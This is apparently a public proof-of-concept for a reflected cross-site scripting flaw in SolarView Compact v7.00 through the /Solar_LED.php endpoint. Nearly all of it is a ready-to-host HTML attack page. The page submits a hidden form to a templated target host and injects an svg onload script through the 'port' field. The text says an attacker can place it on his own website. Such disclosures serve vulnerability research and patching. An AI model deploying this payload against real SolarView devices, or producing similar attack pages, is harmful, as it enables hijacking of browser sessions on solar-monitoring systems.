Cross-site Scripting (XSS) - Reflected in SolarView Compact v7.00 Via crafted POST Request via /Solar_LED.php endpoint
When someone opens this html file, or if attacker add it into his website, XSS will execute at the targeted vulnerable SolarView Compact host
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://{{HOST}}/Solar_LED.php" method="POST">
<input type="hidden" name="led_id[]" value=":11" />
<input type="hidden" name="led_digits[]" value="1" />
<input type="hidden" name="led_id[]" value=":11" />
<input type="hidden" name="led_digits[]" value="1" />
<input type="hidden" name="led_id[]" value=":11" />
<input type="hidden" name="led_digits[]" value="1" />
<input type="hidden" name="led_id[]" value=":11" />
<input type="hidden" name="led_digits[]" value="1" />
<input type="hidden" name="port" value="batman"><svg/onload=alert('XSS_By_Strik3r')>" />
<input type="hidden" name="btnSave" value="•Û‘¶" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
